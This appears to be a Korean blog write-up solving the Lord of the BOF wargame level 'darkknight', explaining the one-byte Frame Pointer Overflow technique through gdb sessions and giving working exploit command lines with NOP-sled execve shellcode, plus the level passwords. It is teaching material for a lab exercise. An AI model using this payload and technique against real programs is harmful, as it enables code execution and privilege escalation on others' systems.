반응형

login as : golem

password : cup of coffee

lob12.drawio
0.06MB


문제 확인

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkknight
        - FPO
*/

#include <stdio.h>
#include <stdlib.h>

void problem_child(char *src)
{
	char buffer[40];
	strncpy(buffer, src, 41);
	printf("%s\n", buffer);
}

main(int argc, char *argv[])
{
	if(argc<2){
		printf("argv error\n");
		exit(0);
	}

	problem_child(argv[1]);
}

 

1. 커맨드라인 인자가 있어야 한다.

2. problem_child() 함수를 호출하는데, 커맨드라인 인자를 인자로 넘긴다.

3. problem_child() 함수 내에 buffer[40]이라는 변수를 선언하고, 커맨드라인 인자의 41byte만 buffer[40]에 복사한 뒤 출력한다.

 

이번 문제는 strcpy() 함수가 아닌 strncpy() 함수로 딱 지정된 41byte 크기만큼만 복사하기 때문에 RET 부분을 덮어써 실행 흐름을 바꿀 수 없다.

 

이번 문제에서 buffer[40] 공간에 41byte만큼의 데이터를 복사하는데 이는 SFP 부분의 1byte를 변조할 수 있기 때문에 SFP 부분의 1byte를 변조하여 실행 흐름을 바꾸는 FPO 기법을 이용해서 풀어야 한다.

 


FPO(Frame Pointer Overflow)

 

FPO 기법을 사용하기 위해서는 2가지 조건이 필요하다.

1. 서브 함수가 존재하고 해당 서브 함수를 호출해야 한다.
2. buffer overflow로 서브 함수 내의 SFP의 최소 하위 1byte를 덮을 수 있어야 한다.

 

위의 2가지 조건이 필요한 이유는 leave와 ret 어셈블리 명령어 그리고 함수 에필로그 때문인데

FPO 기법은 엄밀히 따지면 함수 에필로그 과정의 leave 명령과 ret 명령의 동작 원리를 이용해 실행 흐름을 바꾸는 기법인데, 이때 두 번의 함수 에필로그 과정이 필요하기 때문에 서브 함수가 필요한 것이다.

 

먼저 FPO 기법을 이해하기 전에 함수의 스택, 함수 에필로그, ebp, sfp, esp, eip 등 각 역할들에 대해 자세히 알고 있어야 한다.

더보기

간단히 설명하자면

함수의 스택 : 스택은 높은 주소에서 낮은 주소로 자라고, 서브 함수를 호출하면 함수에 넘겨지는 인자들을 스택에 쌓은 뒤, call 함수 내부에서 자동으로 스택에 RET와 SFP 부분을 만들어준 후 지역 변수들이 쌓인다.
[sub 함수의 스택]
- local 변수
- SFP
- RET
- 함수 인자들
[main 함수의 스택]
- local 변수
- SFP
- RET
- argc
- argv
- env


함수 에필로그 : 함수가 종료하면서 leave 명령과 ret 명령을 이용해 현재 함수를 호출했던 이전 함수의 스택 프레임으로 복귀하는 과정이다.

sfp : 이전 함수의 ebp 값을 저장하는 공간이다.

ebp : 현재 스택 프레임의 base 주소를 담는다.

esp : 현재 스택의 최상단 주소값을 저장하는데, 스택은 높은 주소에서 낮은 주소로 자라기 때문에 최상단 주소값은 큰 값이 아닌 작은 값이다.

eip : 현재 실행 중인 명령이 끝나면 실행될 명령어의 주소를 담고 있다.

 

 

[leave]
- mov esp, ebp
- pop ebp

[ret]
- pop eip
- jmp eip

 

FPO 기법은 엄밀히 따져 함수 에필로그 과정의 leave 명령과 ret 명령의 동작 원리를 이용해 실행 흐름을 바꾸는 기법이라고 했다.

 

leave 명령과 ret 명령의 동작 원리를 위와 같은데, leave는 mov esp, ebp명령과 pop ebp 명령을 수행하는 것과 같고, ret는 pop eip 명령과 jmp eip명령을 수행하는 것과 같다.
(동작 원리가 비슷하여 위와 같이 풀어서 표현한 것이지 실제로 저 명령어들을 사용한다는 것은 아니다.)

 

여기서 추가로 pop 명령은 현재 esp가 가리키는 주소에서 4byte만큼의 값을 pop 명령의 인자에 넣는다.
(위의 코드를 예시로 들면 leave 명령에서는 esp가 가리키는 주소에서 4byte만큼의 값을 ebp 레지스터에 담는 것이고, ret명령에서는 eip 레지스터에 담는 것이다.)

 

 

본격적으로 FPO 기법을 이해하기 위해 main 함수와 sub라는 함수가 있다고 했을 때 main 함수에서 sub 함수를 호출하면 스택은 위와 같이 구성될 것이다.

위의 스택 구성을 보면 main 함수의 ebp가 sub 함수의 SFP에 저장되게 된다.

(0xbffffae0은 main 함수의 ebp 위치이다.)

 

 

1byte가 overflow되어 SFP 부분의 1byte를 변조할 수 있다면 위와 같이 SFP의 하위 1byte를 "a0"라고 변조할 수 있다.

여기서 주의할 점은 sub 함수의 SFP 부분의 1byte를 변조할 때 최종적으로 이동하고자 하는 주소에서 4를 뺀 주소를 입력해줘야한다.

그 이유는 leave 명령의 pop ebp부분 때문인데, 자세한 원리는 아래의 과정을 따라가며 이해해보는 것이 좋다.

 

mov esp, ebp
pop ebp

 

이제 sub 함수에서 함수 에필로그 과정이 시작되고, leave 명령이 실행되는데, leave 명령은 "mov esp, ebp", "pop ebp"와 같다고 했다.

그러면 원래 ebp가 있던 위치는 SFP 부분인데 mov esp, ebp 명령으로 인해 esp가 ebp와 같은 곳에 위치하게 되므로 esp와 ebp 모두 sub 함수의 SFP 부분을 가르키게 된다.

 

이 상태에서 pop ebp 명령으로 인해 SFP 부분의 값을 ebp에 저장하고, esp는 RET 부분을 가리키게 된다.

그러면 leave 명령까지 수행된 이 시점에 원래대로라면 main 함수의 ebp 주소를 담고 있어야 할 sub 함수의 SFP 부분이 조작된 0xbffffaa0이라는 주소를 담고 있었기 때문에 현재 ebp에는 main의 ebp 주소가 아닌 0xbffffaa0이라는 주소가 저장됨으로써 ebp는 0xbffffaa0 주소를 가리키고, esp는 RET 부분을 가리킨다.

이 상태에서 ret 명령이 수행되면 pop eip 명령에 의해 sub 함수의 RET 부분의 값이 eip에 담기게 되는데, RET 부분은 변조되지 않았으므로 jmp eip 명령에 의해 main 함수에서 sub 함수를 호출한 후 실행될 명령어의 위치로 실행 흐름이 바뀐다.

 

mov esp, ebp
pop ebp

 

이제 sub 함수의 에필로그가 끝난 후 main 함수로 복귀했으니 main 함수의 동작이 다 수행된 다음 main 함수의 에필로그 과정이 수행된다.

현재 ebp는 원래 main 함수의 ebp 주소에 위치해 있는게 아니라 sub 함수의 에필로그 과정에서 조작한 0xbffffaa0 위치에 있다.

이 상태에서 main 함수의 에필로그 과정 중 leave 명령이 수행되면서 esp가 ebp의 위치와 같게 이동되므로 esp와 ebp 모두 0xbffffaa0 주소에 위치하게 되고, 그 상태에서 4byte 값을 읽어 ebp에 저장하므로 0xbffffaa0 주소에서 4byte만큼의 값을 ebp에 저장한 후 esp는 0xbffffaa4를 가리키게 된다.

 

참고) 여기서 이제 ebp의 역할은 다 했다. 이후 ret 명령을 수행할 때는 esp만 중요하기 때문에 ebp는 제 역할을 다 했다.
참고) 여기서 이전에 언급했던 "SFP 부분의 1byte를 변조할 때 이동하고자 하는 주소에서
4를 뺀 주소로 변조해야 하는 이유가 leave 명령의 pop ebp 부분 때문"이라는 것에 대한 이유가 설명된다.

ret 명령에도 pop eip가 있는데 leave 명령에서 pop ebp를 함으로써 esp+4 연산을 하기 때문이다.

 

mov eip

 

이어서 ret 명령이 수행되면서 0xbffffaa4 주소에 있는 값을 eip에 담고, eip에 담긴 주소로 실행 흐름이 바뀐다.

그런데 여기서 0xbffffaa4 주소에 있는 값이 셸코드 또는 취약한 함수의 주소라면 ret 명령이 수행되고 나서 자동으로 해커가 원하는 동작이 수행될 것이다.

 

FPO 기법을 간단히 말하자면

1. sub 함수의 에필로그에서 leave 명령은 ebp에 sfp의 값을 담고, ret 명령으로 main으로 돌아간다.

2.main 함수의 에필로그에서 leave 명령은 sfp에 담았던 주소에 있는 값을 ebp에 넣는데 이는 그저 esp+4만 할 뿐 의미가 없고
이어서 ret 명령이 실행될 때 스택에 있는 값(4byte)에 해당하는 위치로 jump 한다.

lob 12 문제를 통해 FPO 기법 이해하기

 

cp darkknight darkknight2
gdb -q darkknight2

set disassembly-flavor intel

disas problem_child
disas main

b * 0x8048450
b * 0x8048469
b * 0x804846a
b * 0x80484a1
b * 0x80484a2

r `python -c 'print "\xbf\xbf\xbf\xbf" * 10 + "\xa0"'`

 

먼저 gdb로 디버깅을 해보기 위해 darkknight 파일을 darkknight2 파일로 복사한다.

 

그리고 gdb로 열어 problem_child() 함수의 strncpy() 함수를 호출하는 부분과 함수 에필로그 부분에 bp를 걸고, main() 함수의 함수 에필로그 부분에 bp를 건 후 인자를 주어 실행한다.

 

위의 커맨드라인 인자로 넘어가는 값은 테스트용으로 0xbfbfbfbf 주소를 10개하여 총 40byte로 buffer[40] 공간에 덮어쓸 값이고, 0xa0은 SFP 부분에 덮어쓸 1byte 값이다.

 

 

실행하자마자 strncpy() 함수를 호출하는 부분에 설치된 bp에 걸려있기 때문에 현재 스택에서 strncpy() 함수의 인자 3개를 보면 buffer[40]의 주소는 0xbffffc74이다.

 

strncpy() 함수를 호출하면 0xbf 값으로 buffer[40]의 공간을 40byte만큼 채우고, SFP 부분의 1byte를 0xa0으로 덮어썼다.

 

 

그 다음 bp가 설치된 곳까지 실행하면 0x8048469 주소인데 이 주소는 problem_child() 함수의 leave 명령을 실행하는 주소이다.

 

leave 명령을 수행하기 전 EBP와 ESP의 값과

leave 명령을 수행한 후 EBP와 ESP의 값은 다른 것을 확인할 수 있다.

 

참고) leave 명령의 동작 원리는 mov esp, ebp, pop ebp이다.

위의 사진에서 esp와 ebp 의 값이 같은 이유는 우연의 일치이며, ebp에는 변조된 주소, esp는 problem_child() 함수 내 RET 부분의 주소를 담고 있는 것이다.

즉, 변조된 주소가 우연히 problem_child() 함수 내 RET 부분의 주소와 동일한 것 뿐이다.

 

 

이어서 main 함수의 leave 명령을 실행하는 부분에 설치된 bp까지 실행했을 때 ebp의 값은 0xbffffca0인데, leave 명령을 실행하고 나서는 esp가 가리키는 주소(0xbffffca0)에 있는 값 0x804849e로 바뀌었다.

 

그리고 esp 역시 leave 명령을 실행하기 전과 실행하고 난 후의 값이 바뀌었는데

여기서 "leave 명령을 수행하기 전에 0xbffffca8이었는데, leave 명령을 실행하고 나서 4를 더한 0xbffffcac가 아니라 왜 4가 적어진 0xbffffca0일까" 하는 의문점이 든다면 이건 결과적인 부분만 봐서 그렇다.

 

leave 명령의 동작 원리를 다시 보자면 mov esp, ebp; pop ebp이다.

 

이 과정을 설명하자면 leave 명령이 실행되기 전 esp의 값은 0xbffffca8이었다.

1. 여기서 leave 명령의 mov esp, ebp에 의해 esp의 값은 0xbffffca0이 된다.

2. 이어서 pop ebp에 의해 0xbffffca0에 있는 값 0x804849e를 ebp에 넣는다.

 

그리하여 결과적으로 4가 적어진 0xbffffca4 주소가 esp에 들어간 것으로 보이는 것이다.

 

 

이어서 main() 함수 에필로그의 ret 명령을 실행하면 pop eip에 의해 esp가 가리키는 주소(0xbffffca4)의 값 0xbffffe00이 eip로 들어가고, 다음 명령 jmp eip를 실행하면 0xbffffe28은 스택의 주소이기 때문에 Segmentation fault 에러와 함께 종료한다.

 

FPO 기법을 간단히 말하자면

1. sub 함수의 에필로그에서 leave 명령은 ebp에 sfp의 값을 담고, ret 명령으로 main으로 돌아간다.

2.main 함수의 에필로그에서 leave 명령은 sfp에 담았던 주소에 있는 값을 ebp에 넣는데 이는 그저 esp+4만 할 뿐 의미가 없고
이어서 ret 명령이 실행될 때 스택에 있는 값(4byte)에 해당하는 위치로 jump 한다.

dummy 값 확인

 

main() 함수에서는 변수를 선언하지 않았는데, gdb로 디버깅을 해보니 지역 변수를 위한 공간으로 할당하는 것이 없으므로 dummy 값은 없다.

 

problem_child() 함수에서는 buffer[40] 변수 하나만 선언했는데, gdb로 보면 지역 변수를 위한 공간으로 40byte를 확보하는 것으로 보아 dummy 값은 없다.

 


공격

 

공격 시나리오는 이렇다.

 

커맨드라인 인자를 1개 이상 입력이기 때문에 첫 번째 커맨드라인 인자에는 buffer[40]에 채울 내용 40byte와 SFP 부분에 덮어쓸 1byte를 입력하고, 두 번째 커맨드라인 인자에는 NOP + shellcode를 넣는다.

 

buffer[40]에는 argv[2]의 주소를 넣고, SFP 부분에 덮어쓸 1byte는 buffer[40]의 주소에서 4를 뺀 주소의 하위 1byte를 입력한다.

 

그러면 두 번의 함수 에필로그와 leave, ret 명령의 동작원리로 셸코드가 실행되게 될 것이다.

1. problem_child 함수의 함수 에필로그 과정 중
leave 명령에 의해 ebp 레지스터에 problem_child 함수의 변조된 SFP의 값 buffer[40]-4의 주소가 담기고
ret 명령에 의해 main 함수로 돌아간다.

2. main 함수의 함수 에필로그 과정 중 leave 명령에 의해 ebp, esp 모두 buffer[40]-4의 주소를 가리키다가
ebp에는 buffer[40]-4의 주소에 있는 값이 담기게 되므로 그 값에 해당하는 위치를 가리키게 되고
esp는 buffer[40]의 주소를 가리키게 된다.

3. 마지막으로 main 함수의 함수 에필로그 과정 중 ret 명령에 의해 buffer[40]의 주소에 있는 값에 해당하는 곳의 명령을 실행하는데
이 buffer[40]의 주소에 있는 값은 argv[2]의 주소로 셸코드가 있는 주소이기 때문에 셸코드가 실행되게 되는 것이다.

 

./darkknight2 `python -c 'print "\x90" * 40 + "\xa0"'` `python -c 'print "\x90" * 100 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

gdb -q -c core

x/80x $esp-164

 

먼저, buffer[40]의 주소와 argv[2]의 주소를 알아야 하기 때문에 core 파일을 생성해서 알아낸다.

 

buffer[40]의 시작 주소는 0xbffffbf4이고, buffer[40]의 주소에서 4를 뺀 주소는 0xbffffbf0이다.

 

그런데 여기서 주의해야 할 점은 problem_child() 함수의 SFP 부분인 0xbffffc1c 주소를 보면 main 함수의 ebp 값 즉, main 함수의 SFP 부분의 시작 주소는 0xbffffc로 시작하는 걸 볼 수 있는데, 문제에서는 problem_child() 함수 내 SFP 부분의 값의 하위 1byte만 변조하기 때문에 ebp를 이동시키려는 주소(buffer[40]-4의 주소)도 0xbffffc로 시작해야 한다는 것이다.

 

지금 현재 상태의 buffer[40]-4의 주소는 0xbffffb로 시작하는데, 이는 argv[2]의 NOP가 너무 많아서 그런 것으로, 다행히 buffer[40]의 영역은 0xbffffc로 시작하는 주소도 포함되어 있으므로 buffer[40]에 argv[2]의 주소(4byte)를 10번 채우고 0xbffffc로 시작하는 주소의 하위 1byte로 SFP 부분의 1byte를 변조시키면 된다.

참고)

위의 사진을 참고하여 설명하자면

0xbffffc로만 시작하면 된다고 해서 0xbffffc18 주소의 하위 1byte인 18로 SFP 부분의 1byte를 변조시키면 안된다.

이유는 위의 FPO 기법 설명에서도 나왔듯이 leave 명령의 pop ebp로 인해 esp가 0xbffffc1c주소를 가리키게 되고
그 상태에서 ret의 pop eip가 실행되면 buffer[40]의 영역을 벗어나기 때문에 argv[2]의 주소로 jump 하는 것이 아니라
problem_child() 함수의 SFP 부분에 있는 값에 해당하는 위치(0xbffffca0)로 jump 하게 된다.
사실 이 글에서는 argv[2]의 NOP가 너무 많아서 생기는 문제로, 원래의 buffer[40]-4의 주소가 아닌

유도리 있게 buffer[40]의 영역에서 0xbffffc로 시작하는 주소로 대체 하는 것 뿐이지

NOP를 90 정도만 줘도 원래의 buffer[40]-4의 주소는 0xbffffc로 시작한다.

 

결과적으로 buffer[40]-4의 주소를 대체 할 주소는 0xbffffc00이고, argv[2]의 주소는 0xbffffda6이다.

(위에서도 말했듯이 buffer[40]-4 주소의 6byte가 problem_child() 함수 SFP 부분에 있는 값의 6byte와 같으면 이 글에서처럼 대체하지 말고 buffer[40]-4 주소를 그대로 이용하면 된다. )

 

./darkknight2 `python -c 'print "\xa6\xfd\xff\xbf" * 10 + "\x00"'` `python -c 'print "\x90" * 100 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

 

core 파일을 분석해서 알아낸 정보를 바탕으로 수정된 payload를 인자로 하여 darkknight2를 실행하면 셸이 실행된다.

 

 

그렇다면 수정된 payload를 인자로 주어 darkknight를 실행하면 password "new attacker"를 얻을 수 있다.


시행착오

./darkknight2 `python -c 'print "\xbf\xbf\xbf\xbf" * 10 + "\xa0"'` `python -c 'print "\x90" * 50 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

gdb -q -c core

x/80x $esp-164

 

위와 같이 argv[2]의 NOP를 50만 주니깐 buffer[40]-4의 주소가 0xbffffc로 시작하긴 하지만

 

./darkknight2 `python -c 'print "\xd8\xfd\xff\xbf" * 10 + "\x20"'` `python -c 'print "\x90" * 50 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

 

0x20을 space bar로 인식해서인지 셸이 실행되지 않는다.

 

gdb -q -c core

x/80x $esp-164

 

그래서 새로 생성된 core 파일을 분석해보니 buffer[40]-4의 주소는 여전히 0xbffffc20인데, buffer[40]의 영역이 끝나고 SFP 부분을 보니 0xbffffc20이 아닌 0xbffffc00으로 되어 있다.

 

아무래도 lob 환경에서 0x20을 0x00으로 인식하는 것이 아닐까 싶다.

 

./darkknight2 `python -c 'print "\xd8\xfd\xff\xbf" * 10 + "\x24"'` `python -c 'print "\x90" * 50 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

./darkknight `python -c 'print "\xd8\xfd\xff\xbf" * 10 + "\x24"'` `python -c 'print "\x90" * 50 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

 

그래서 유도리 있게 SFP 부분을 20이 아닌 24로 변조해보니 셸이 잘 실행됐다.

 

 

반응형

+ Recent posts